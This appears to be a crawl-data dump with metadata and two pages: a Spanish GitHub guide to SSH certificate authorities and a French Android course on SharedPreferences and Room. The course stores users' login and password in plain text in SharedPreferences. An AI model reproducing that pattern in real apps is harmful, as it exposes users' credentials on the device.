{ "line_start_idx": [ 0, 31, 32, 36, 37, 51, 86, 224, 399, 400, 505, 506, 649, 740, 742, 743, 748, 749, 767, 780, 960, 961, 1152, 1154, 1169, 1170, 1174, 1175, 1189, 1217, 1316, 1318, 1319, 1326, 1327, 1341, 1991, 1993, 1994, 1998, 1999, 2013, 2110, 2279, 2280, 2395, 2397, 2398, 2402, 2403, 2417, 2471, 2642, 2643, 2722, 2875, 2997, 2999, 3000, 3012, 3013, 3031, 3167, 3207, 3209 ], "line_end_idx": [ 31, 32, 36, 37, 51, 86, 224, 399, 400, 505, 506, 649, 740, 742, 743, 748, 749, 767, 780, 960, 961, 1152, 1154, 1169, 1170, 1174, 1175, 1189, 1217, 1316, 1318, 1319, 1326, 1327, 1341, 1991, 1993, 1994, 1998, 1999, 2013, 2110, 2279, 2280, 2395, 2397, 2398, 2402, 2403, 2417, 2471, 2642, 2643, 2722, 2875, 2997, 2999, 3000, 3012, 3013, 3031, 3167, 3207, 3209, 3212 ] }
{ "red_pajama_v2": { "ccnet_original_length": 3212, "ccnet_original_nlines": 64, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.38059699535369873, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.04029851034283638, "rps_doc_frac_lines_end_with_ellipsis": 0.015384620055556297, "rps_doc_frac_no_alph_words": 0.16865672171115875, "rps_doc_frac_unique_words": 0.4933837354183197, "rps_doc_mean_word_length": 4.797731399536133, "rps_doc_num_sentences": 34, "rps_doc_symbol_to_word_ratio": 0.0029850699938833714, "rps_doc_unigram_entropy": 5.170679569244385, "rps_doc_word_count": 529, "rps_doc_frac_chars_dupe_10grams": 0.04412924125790596, "rps_doc_frac_chars_dupe_5grams": 0.04412924125790596, "rps_doc_frac_chars_dupe_6grams": 0.04412924125790596, "rps_doc_frac_chars_dupe_7grams": 0.04412924125790596, "rps_doc_frac_chars_dupe_8grams": 0.04412924125790596, "rps_doc_frac_chars_dupe_9grams": 0.04412924125790596, "rps_doc_frac_chars_top_2gram": 0.02364066056907177, "rps_doc_frac_chars_top_3gram": 0.02364066056907177, "rps_doc_frac_chars_top_4gram": 0.01260835025459528, "rps_doc_books_importance": -253.08837890625, "rps_doc_books_importance_length_correction": -253.08837890625, "rps_doc_openwebtext_importance": -137.29513549804688, "rps_doc_openwebtext_importance_length_correction": -137.29513549804688, "rps_doc_wikipedia_importance": -100.48149108886719, "rps_doc_wikipedia_importance_length_correction": -100.48149108886719 }, "fasttext": { "dclm": 0.06067090854048729, "english": 0.9402986764907837, "fineweb_edu_approx": 0.8580822944641113, "eai_general_math": 0.15845054388046265, "eai_open_web_math": 0.1295919418334961, "eai_web_code": 0.1081247329711914 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.467", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
5,243,783,654,074,175,000
Skip to main content Acerca de las autoridades de certificación de SSH Con una autoridad de certificación de SSH, tu cuenta de empresa u organización puede ofrecer certificados SSH que los miembros pueden usar para aceder a tus recursos con Git. Acerca de las autoridades de certificación de SSH Un certificado SSH es un mecanismo para que una clave SSH firme otra clave SSH. Si usas una autoridad de certificación de SSH (CA) para ofrecerle a los miembros de tu organización certificados SSH firmados, puedes agregar la CA a tu cuenta de empresa u organización para permitirle a los miembros de la organización usar sus certificados para acceder a los recursos de la organización. Nota: Para utilizar entidades de certificación de SSH, la organización debe usar GitHub Enterprise Cloud. Para más información sobre cómo probar GitHub Enterprise Cloud de forma gratuita, vea "Configuración de una versión de prueba de GitHub Enterprise Cloud". Una vez que agregas una CA de SSH a tu cuenta de empresa u organización, puedes usar la CA para firmar certificados de SSH de clientes para los miembros de la organización. Los miembros de la organización pueden usar los certificados firmados para acceder a los repositorios de tu organización (y solo los repositorios de tu organización) con Git. Opcionalmente, puedes requerir que los miembros utilicen certificados SSH para acceder a los recursos de la organización. Para obtener más información, vea «Administrar las autoridades de certificación SSH de tu organización» y «Requerir las políticas para los ajustes de seguridad en tu empresa». Por ejemplo, puedes crear un sistema interno que emita un nuevo certificado para tus programadores cada mañana. Cada programador puede usar su certificado diario para trabajar en los repositorios de tu organización en GitHub Enterprise Cloud. Al finalizar el día, el certificado puede expirar automáticamente, protegiendo tus repositorios si el certificado más tarde se ve comprometido. Los miembros de la organización pueden usar sus certificados firmados para la autenticación, incluso si has aplicado el inicio de sesión único (SSO) de SAML, sin necesidad de autorizar los certificados firmados. A menos que hagas que los certificados SSH sean un requisito, los miembros de la organización pueden seguir usando otros medios para la autenticación para acceder a los recursos de tu organización con Git, incluyendo sus nombre de usuario y contraseña, personal access token y sus propias claves SSH. Los miembros no podrán utilizar sus certificados para acceder a las bifurcaciones de tus repositorios que pertenezcan a sus cuentas personales. Acerca de las URL SSH con certificados SSH Si tu organización requiere certificados SSH, para prevenir los errores de autenticación, los miembros de la organización deberán utilizar una URL especial que incluya la ID de organización al realizar operaciones de Git por SSH. La URL especial permite que el cliente y servidor negocien con mayor facilidad qué llave debería utilizarse para la autenticación en la computadora del miembro. Si un miembro usa la URL normal que comienza con [email protected], el cliente SSH podría ofrecer la clave incorrecta, lo que provocaría un error en la operación. Cualquiera con acceso de lectura al repositorio puede encontrar esta URL si selecciona el menú desplegable Código en la página principal del repositorio y, después, hace clic en Utilizar SSH. Si tu organización no requiere certificados SSH, los miembros pueden seguir utilizando sus propias llaves SSH u otros medios de autenticación. En ese caso, funcionará tanto la URL especial como la normal, que comienza con [email protected]. Emitir certificados Cuando emites cada certificado, debes incluir una extensión que especifique para qué usuario de GitHub Enterprise Cloud es el certificado. Por ejemplo, puede usar el comando ssh-keygen de OpenSSH y reemplazar KEY-IDENTITY con la identidad de clave y USERNAME con un nombre de usuario de GitHub Enterprise Cloud. El certificado que generes se autorizará para actuar en nombre de ese usuario para cualquiera de los recursos de tu organización. Asegúrate de validar la identidad de los usuarios antes de que emitas el certificado. Nota: Debes actualizar a OpenSSH 7.6 o una versión posterior para usar estos comandos. ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:[email protected]=USERNAME ./user-key.pub Advertencia: Después de firmar y emitir un certificado, no se puede revocar. Asegúrese de usar la marca -V a fin de configurar una vigencia para el certificado o este se podría usar de forma indefinida. Para emitir un certificado para alguien que utilice SSH para acceder a varios productos de GitHub, puedes incluir dos extensiones de inicio de sesión para especificar el nombre de usuario para cada producto. Por ejemplo, el siguiente comando emitirá un certificado para USERNAME-1 de la cuenta de GitHub Enterprise Cloud del usuario, y para USERNAME-2 de la cuenta de GitHub AE del usuario o de GitHub Enterprise Server en HOSTNAME. ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:[email protected]=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub Puede restringir las direcciones IP desde las que un miembro de la organización puede acceder a los recursos de la organización mediante una extensión source-address. La extensión acepta una dirección IP específica o una gama de direcciones IP con la notación CIDR. Puedes especificar múltiples direcciones o rangos separando los valores con comas. Para más información, vea "Enrutamiento entre dominios sin clases" en Wikipedia. ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:[email protected]=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub
{ "url": "https://docs.github.com/es/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities", "source_domain": "docs.github.com", "snapshot_id": "CC-MAIN-2023-40", "warc_metadata": { "Content-Length": "231428", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:DPQHH3LYVHHXTT7PUROVBBYL7OZGUZR7", "WARC-Concurrent-To": "<urn:uuid:6c7fa90e-a184-4911-a8ee-a0b77628e4e0>", "WARC-Date": "2023-10-03T00:55:20Z", "WARC-IP-Address": "185.199.110.154", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:TC63PJR66R75ZV7LMUHQWHFXAWPADRFD", "WARC-Record-ID": "<urn:uuid:a2f66e22-515f-4670-b545-43f65761089d>", "WARC-Target-URI": "https://docs.github.com/es/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:e2cf5c71-74b8-4f7f-a692-a52bb440f45f>" }, "warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-196\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 21, 22, 72, 73, 248, 249, 299, 300, 686, 687, 948, 949, 1595, 1596, 1983, 1984, 2196, 2197, 2498, 2499, 2643, 2644, 2687, 2688, 3239, 3240, 3432, 3433, 3671, 3672, 3692, 3693, 4221, 4222, 4309, 4310, 4412, 4413, 4616, 4617, 5050, 5051, 5191, 5192, 5622, 5623 ], "line_end_idx": [ 21, 22, 72, 73, 248, 249, 299, 300, 686, 687, 948, 949, 1595, 1596, 1983, 1984, 2196, 2197, 2498, 2499, 2643, 2644, 2687, 2688, 3239, 3240, 3432, 3433, 3671, 3672, 3692, 3693, 4221, 4222, 4309, 4310, 4412, 4413, 4616, 4617, 5050, 5051, 5191, 5192, 5622, 5623, 5789 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5789, "ccnet_original_nlines": 46, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.07024029642343521, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.07393714785575867, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.15064695477485657, "rps_doc_frac_unique_words": 0.32723110914230347, "rps_doc_mean_word_length": 5.502288341522217, "rps_doc_num_sentences": 50, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.868527412414551, "rps_doc_word_count": 874, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.22665834426879883, "rps_doc_frac_chars_dupe_6grams": 0.13578706979751587, "rps_doc_frac_chars_dupe_7grams": 0.10334789007902145, "rps_doc_frac_chars_dupe_8grams": 0.06674984097480774, "rps_doc_frac_chars_dupe_9grams": 0.025784989818930626, "rps_doc_frac_chars_top_2gram": 0.009981290437281132, "rps_doc_frac_chars_top_3gram": 0.03535037860274315, "rps_doc_frac_chars_top_4gram": 0.018714910373091698, "rps_doc_books_importance": -499.4796142578125, "rps_doc_books_importance_length_correction": -499.4796142578125, "rps_doc_openwebtext_importance": -251.1937255859375, "rps_doc_openwebtext_importance_length_correction": -251.1937255859375, "rps_doc_wikipedia_importance": -245.294921875, "rps_doc_wikipedia_importance_length_correction": -245.294921875 }, "fasttext": { "dclm": 0.7087916731834412, "english": 0.0010500800563022494, "fineweb_edu_approx": 1.1545966863632202, "eai_general_math": 0.00007331000233534724, "eai_open_web_math": 0.14360558986663818, "eai_web_code": 0.3614194989204407 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.822", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-6,980,333,894,808,559,000
Vous êtes sur la page 1sur 27 Développement Mobile Cours : Data storage Année universitaire 2019/2020 Stockage de données • Il existe essentiellement quatre manières différentes de stocker des données dans une application Android: • Shared Preferences • Internal Storage • External Storage • SQLite database / Room 2 Shared Preferences • On l'utilise pour sauvegarder des données primitives dans des paires clé-valeur. • Les valeurs peuvent être l'un des éléments suivants: boolean, float, int, long ou string. • En interne, la plateforme Android stocke les Shared Preferences d'une application dans un fichier xml situé dans un répertoire privé. • Une application peut avoir plusieurs fichiers de Shared Preferences. • Les Shared Preferences sont trop restrictives. Vous souhaiterez peut-être conserver des objets Java ou des images. Ou vos données doivent logiquement être conservées en utilisant la hiérarchie familière du système de fichiers. 3 Internal Storage • La méthode de stockage de données interne est spécifiquement destinée aux situations dans lesquelles vous devez stocker des données sur le système de fichiers du périphérique, mais vous ne voulez pas qu'une autre application (même l'utilisateur) lise ces données. • Les données stockées à l'aide de la méthode de stockage interne sont totalement privées pour votre application et sont supprimées du périphérique lors de la désinstallation de votre application. 4 External Storage • Pour enregistrer (et / ou lire) des fichiers sur la mémoire de stockage externe de l'appareil, votre application doit demander l'autorisation WRITE_EXTERNAL_STORAGE. Si vous souhaitez uniquement lire à partir du stockage externe sans écrire, demandez l'autorisation READ_EXTERNAL_STORAGE. • L'autorisation WRITE_EXTERNAL_STORAGE accorde les deux accès en lecture / écriture. Cependant, à partir d'Android 4.4, vous pouvez réellement écrire dans un dossier de stockage externe «privé» sans demander WRITE_EXTERNAL_STORAGE. • Le dossier «privé» peut être lu par d'autres applications et par l'utilisateur. Toutefois, les données stockées dans ces dossiers ne sont pas analysées par le scanner de supports. Ce dossier app_private se trouve dans le répertoire Android / data et est également supprimé lors de la désinstallation de votre application. 5 SQLite database / Room • Android prend en charge les applications qui utilisent des bases de données SQLite pour le stockage de données. • Les bases de données créées sont spécifiques à chaque application et sont disponibles pour toutes les classes de l'application, mais pas pour les applications externes. • Room est une couche de base de données au-dessus de SQLite. Elle prend en charge les tâches banales de gestion qu’on utilise avec une classe d'assistance (SQLiteOpenHelper). • Room utilise DAO pour émettre des requêtes à la base de données SQLite en se basant sur les fonctions appelées. • DAO: Un mappage des requêtes SQL aux fonctions. Lorsque vous utilisez un DAO, votre code appelle les fonctions et les composants s’occupent du reste. 6 Shared Preferences 7 Shared Preferences • Si nous avons une application qui demande une authentification pour chaque ouverture, l’utilisateur doit entrer le login et le mot de passe a chaque fois. • Pour aider l’utilisateur a mieux utiliser notre application, on va sauvegarder le login et le mot de passe dans un fichier SharedPreferences. Une fois l’utilisateur s’authentifie, son login et son mot de passe seront enregistrer dans ce fichier. • Ensuite, chaque fois l’utilisateur ouvre l’application, celle-ci récupère automatiquement le login et le mot de passe dans l’interface d’authentification. 8 Shared Preferences • Commencer par créer un nouveau projet • Modifier activity_main.xml en ajoutant deux EditText et un Bouton. • Dans MainActivity.java on va ajouter un objet de SharedPerferences et une variable String qui contient le nom du fichier de l’objet SharedPreferences private SharedPreferences mPreferences; public static final String sharedPrefFile = "tn.esprit.myapplication"; • Et dans la méthode onCreate on va instancier notre objet: mPreferences = getSharedPreferences(sharedPrefFile, MODE_PRIVATE); La méthode getSharedPreferences() ouvre le fichier au nom donné (sharedPrefFile) avec le mode MODE_PRIVATE. 9 Shared Preferences • Pour récupérer des données de notre objet mPreferences on utilise l’une des méthodes "get" tel que getInt() ou getString(). Dans la méthode onCreate : mLogin.setText( mPreferences.getString("login","") ); mPassword.setText( mPreferences.getString("password","") ); Notez que la méthode getString() prend deux arguments: un pour la clé et l'autre pour la valeur par défaut si la clé est introuvable. NB : mLogin et mPassword sont deux variable de type EditText supposer déjà créer. 10 Shared Preferences • Pour sauvegarder des données de notre objet mPreferences on utilise SharedPreferences.Editor. Dans la méthode onClick du bouton : SharedPreferences.Editor preferencesEditor = mPreferences.edit(); preferencesEditor.putString("login", mLogin.getText().toString()); preferencesEditor.putString("password", mPassword.getText().toString()); preferencesEditor.apply(); La méthode apply() enregistre les préférences de manière asynchrone à partir du thread d'interface utilisateur. SharedPreferences.Editor dispose également d'une méthode commit() pour enregistrer les préférences de manière synchrone. La méthode commit() est déconseillée car elle peut bloquer d'autres opérations. 11 Shared Preferences • Le click sur le bouton SIGN IN permet d’enregistrer le login et le mot de passe aussi il ouvre une nouvelle activité qui contient un simple TextView et un bouton. • Le clic sur le bouton LOGOUT permet de supprimer les préférences enregistrer. • Dans le code java de la deuxième activité on ajoute une variable: private SharedPreferences mPreferences; • Ensuite dans le code du bouton LOGOUT : SharedPreferences.Editor preferencesEditor = mPreferences.edit(); preferencesEditor.clear(); preferencesEditor.apply(); finish(); NB: La méthode clear() supprime toutes les préférences partagées 12 Shared Preferences • Pour tester, n’oublier pas de forcer la fermeture de l'application en utilisant l'une des méthodes suivantes: • Dans Android Studio, sélectionnez Exécuter> Arrêter l'application. • Sur l'appareil, appuyez sur le bouton Recents (le bouton carré dans le coin inférieur droit). Glissez la carte de l'application pour quitter l'application ou cliquez sur le X dans le coin droit de la carte. 13 Shared Preferences 14 Room database 15 Architecture Room 16 Room database • Créer un nouveau projet intitulé HelloRoom • Modifier activity_main.xml comme le montre la figure : • Deux EditText • Un Bouton • Un RecyclerView 17 Room database • Pour utiliser Room il est nécessaire d’importer ces dépendances implementation 'androidx.room:room-runtime:2.2.0' annotationProcessor 'androidx.room:room-compiler:2.2.0' • Ensuite, préparer les packages nécessaires 18 Room database • Ajouter une class User dans le package entity • Ajouter une annotation a cette class pour dire que c’est une table @Entity(tableName = "user_table") public class User { } • Ajouter les attributs avec leur annotations comme suit @PrimaryKey(autoGenerate = true) private int uid; @ColumnInfo(name = "first_name") private String firstName; @ColumnInfo(name = "last_name") N’oublier pas les getters et le setters private String lastName; 19 Room database • Dans le package Dao créer une interface UserDao avec @Dao l’annotation @Dao public interface UserDao { } • Ajouter les méthodes suivant @Insert void insertOne(User user); @Delete void delete(User user); @Query("SELECT * FROM user_table") List<User> getAll(); 20 Room database • Dans le package database, créer une class abstraite AppDataBase qui hérite de RoomDatabase avec l'annotation @Database @Database(entities = {User.class}, version = 1, exportSchema = false) public abstract class AppDataBase extends RoomDatabase { } • Nous allons maintenant appliquer le patron de conception singleton dont l'objectif est de restreindre l’instanciation de cette class à un seul objet 21 Room database private static AppDataBase instance; public abstract UserDao userDao(); public static AppDataBase getAppDatabase(Context context) { if (instance == null) { instance = Room.databaseBuilder(context.getApplicationContext(), AppDataBase.class, "room_test_db") .allowMainThreadQueries() .build(); } return instance; } NB: la méthode allowMainThreadQueries() n’est pas conseiller car il pourrait verrouiller l'interface utilisateur pendant une longue période si la base contienne beaucoup de données. Il faut utiliser les AsyncTask qui sont des taches asynchrones qui s’exécutent sur un thread en arrière-plan 22 Room database • Créer maintenant une layout single_row pour avoir un affichage comme suit • Ajouter un adaptateur UsersAdapter pour notre RecyclerView avec une List<User> users; 23 Room database • Dans MainActivity.java ajouter les variables suivantes : private AppDataBase database ; private UsersAdapter usersAdapter; private List<User> userList = new ArrayList<User>(); • Dans la méthode onCreate nous allons récupérer l'instance et récupérer la liste des utilisateurs dans la base: database = AppDataBase.getAppDatabase(this); userList = database.userDao().getAll(); usersAdapter = new UsersAdapter(getApplicationContext(), userList); 24 Room database • Pour ajouter un nouveau utilisateur, voici un exemple du click Ajouter: User user = new User(mFirstName.getText().toString(), mLastName.getText().toString()); database.userDao().insertOne(user); usersAdapter.notifyChange(database.userDao().getAll()); • La méthode notifyChange permet de mettre à jour l'affichage de la vue avec la nouvelle liste public void notifyChange(List<User> users){ this.users = users; this.notifyDataSetChanged(); } 25 Room database • Le click sur le bouton supprimer permet d’effacer l’utilisateur de la base et de la liste de l'adaptateur. final User singleItem = users.get(position); holder.btn_delete.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { AppDataBase.getAppDatabase(mContext).userDao().delete(singleItem); UserAdapter.this.notifyChange(AppDataBase.getAppDatabase(mContext).userDao().getAll()); } }); 26 Room database 27 Vous aimerez peut-être aussi
{ "url": "https://fr.scribd.com/document/561413555/Cours-5-Data-Storage", "source_domain": "fr.scribd.com", "snapshot_id": "crawl=CC-MAIN-2022-33", "warc_metadata": { "Content-Length": "513708", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:3WRPFOUQ4WF52GFSCXY7EKLCVRUAXSL6", "WARC-Concurrent-To": "<urn:uuid:55209256-b901-4a27-85b7-dc7b4ec3b113>", "WARC-Date": "2022-08-18T21:23:08Z", "WARC-IP-Address": "146.75.34.152", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:GJC2ACARANR62R4R7FOLDBTUAOYKJHWU", "WARC-Record-ID": "<urn:uuid:a43331ec-8600-4a27-925e-ae44c412c0bd>", "WARC-Target-URI": "https://fr.scribd.com/document/561413555/Cours-5-Data-Storage", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:79713962-d628-404d-ab33-4dc73c35c127>" }, "warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-209\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 30, 31, 52, 53, 74, 75, 105, 106, 107, 127, 206, 236, 237, 258, 259, 278, 279, 298, 299, 324, 325, 327, 346, 429, 430, 522, 523, 612, 659, 660, 731, 732, 822, 903, 961, 963, 980, 1056, 1132, 1207, 1246, 1247, 1329, 1330, 1331, 1408, 1446, 1447, 1449, 1466, 1569, 1663, 1757, 1758, 1857, 1858, 1859, 1960, 1993, 1994, 2099, 2202, 2305, 2318, 2320, 2343, 2448, 2457, 2458, 2562, 2629, 2630, 2735, 2806, 2807, 2911, 2921, 2922, 3025, 3076, 3095, 3096, 3098, 3117, 3194, 3274, 3358, 3441, 3522, 3598, 3679, 3680, 3682, 3701, 3741, 3810, 3895, 3962, 3963, 4003, 4004, 4005, 4076, 4077, 4137, 4138, 4139, 4206, 4287, 4314, 4315, 4317, 4336, 4414, 4489, 4490, 4544, 4604, 4605, 4686, 4739, 4740, 4822, 4823, 4826, 4845, 4949, 4977, 5043, 5110, 5183, 5210, 5211, 5323, 5425, 5524, 5525, 5528, 5547, 5638, 5712, 5792, 5860, 5900, 5942, 5943, 6009, 6010, 6011, 6038, 6065, 6075, 6076, 6141, 6142, 6143, 6146, 6165, 6166, 6238, 6239, 6240, 6280, 6349, 6350, 6428, 6510, 6559, 6560, 6563, 6582, 6583, 6586, 6600, 6601, 6604, 6622, 6623, 6626, 6640, 6685, 6686, 6743, 6744, 6760, 6761, 6773, 6774, 6792, 6793, 6796, 6810, 6811, 6877, 6878, 6879, 6929, 6985, 6986, 7031, 7032, 7035, 7049, 7050, 7098, 7099, 7100, 7169, 7203, 7225, 7226, 7283, 7284, 7285, 7318, 7335, 7368, 7394, 7466, 7491, 7494, 7508, 7509, 7564, 7565, 7566, 7571, 7618, 7619, 7650, 7651, 7652, 7660, 7687, 7688, 7696, 7720, 7721, 7756, 7757, 7758, 7779, 7782, 7796, 7797, 7867, 7868, 7869, 7920, 7990, 8049, 8050, 8119, 8120, 8121, 8192, 8203, 8204, 8207, 8221, 8258, 8293, 8353, 8377, 8477, 8503, 8513, 8515, 8532, 8534, 8535, 8612, 8613, 8614, 8698, 8719, 8786, 8831, 8845, 8846, 8911, 8912, 8913, 8924, 8925, 8991, 8992, 8993, 9015, 9016, 9019, 9033, 9034, 9093, 9094, 9095, 9126, 9161, 9214, 9215, 9278, 9279, 9280, 9330, 9375, 9415, 9483, 9484, 9487, 9501, 9502, 9567, 9568, 9569, 9632, 9665, 9701, 9757, 9758, 9826, 9827, 9828, 9899, 9919, 9948, 9950, 9951, 9954, 9968, 9969, 10041, 10042, 10043, 10080, 10125, 10191, 10201, 10231, 10298, 10386, 10388, 10392, 10393, 10396, 10410, 10411, 10414, 10415 ], "line_end_idx": [ 30, 31, 52, 53, 74, 75, 105, 106, 107, 127, 206, 236, 237, 258, 259, 278, 279, 298, 299, 324, 325, 327, 346, 429, 430, 522, 523, 612, 659, 660, 731, 732, 822, 903, 961, 963, 980, 1056, 1132, 1207, 1246, 1247, 1329, 1330, 1331, 1408, 1446, 1447, 1449, 1466, 1569, 1663, 1757, 1758, 1857, 1858, 1859, 1960, 1993, 1994, 2099, 2202, 2305, 2318, 2320, 2343, 2448, 2457, 2458, 2562, 2629, 2630, 2735, 2806, 2807, 2911, 2921, 2922, 3025, 3076, 3095, 3096, 3098, 3117, 3194, 3274, 3358, 3441, 3522, 3598, 3679, 3680, 3682, 3701, 3741, 3810, 3895, 3962, 3963, 4003, 4004, 4005, 4076, 4077, 4137, 4138, 4139, 4206, 4287, 4314, 4315, 4317, 4336, 4414, 4489, 4490, 4544, 4604, 4605, 4686, 4739, 4740, 4822, 4823, 4826, 4845, 4949, 4977, 5043, 5110, 5183, 5210, 5211, 5323, 5425, 5524, 5525, 5528, 5547, 5638, 5712, 5792, 5860, 5900, 5942, 5943, 6009, 6010, 6011, 6038, 6065, 6075, 6076, 6141, 6142, 6143, 6146, 6165, 6166, 6238, 6239, 6240, 6280, 6349, 6350, 6428, 6510, 6559, 6560, 6563, 6582, 6583, 6586, 6600, 6601, 6604, 6622, 6623, 6626, 6640, 6685, 6686, 6743, 6744, 6760, 6761, 6773, 6774, 6792, 6793, 6796, 6810, 6811, 6877, 6878, 6879, 6929, 6985, 6986, 7031, 7032, 7035, 7049, 7050, 7098, 7099, 7100, 7169, 7203, 7225, 7226, 7283, 7284, 7285, 7318, 7335, 7368, 7394, 7466, 7491, 7494, 7508, 7509, 7564, 7565, 7566, 7571, 7618, 7619, 7650, 7651, 7652, 7660, 7687, 7688, 7696, 7720, 7721, 7756, 7757, 7758, 7779, 7782, 7796, 7797, 7867, 7868, 7869, 7920, 7990, 8049, 8050, 8119, 8120, 8121, 8192, 8203, 8204, 8207, 8221, 8258, 8293, 8353, 8377, 8477, 8503, 8513, 8515, 8532, 8534, 8535, 8612, 8613, 8614, 8698, 8719, 8786, 8831, 8845, 8846, 8911, 8912, 8913, 8924, 8925, 8991, 8992, 8993, 9015, 9016, 9019, 9033, 9034, 9093, 9094, 9095, 9126, 9161, 9214, 9215, 9278, 9279, 9280, 9330, 9375, 9415, 9483, 9484, 9487, 9501, 9502, 9567, 9568, 9569, 9632, 9665, 9701, 9757, 9758, 9826, 9827, 9828, 9899, 9919, 9948, 9950, 9951, 9954, 9968, 9969, 10041, 10042, 10043, 10080, 10125, 10191, 10201, 10231, 10298, 10386, 10388, 10392, 10393, 10396, 10410, 10411, 10414, 10415, 10443 ] }
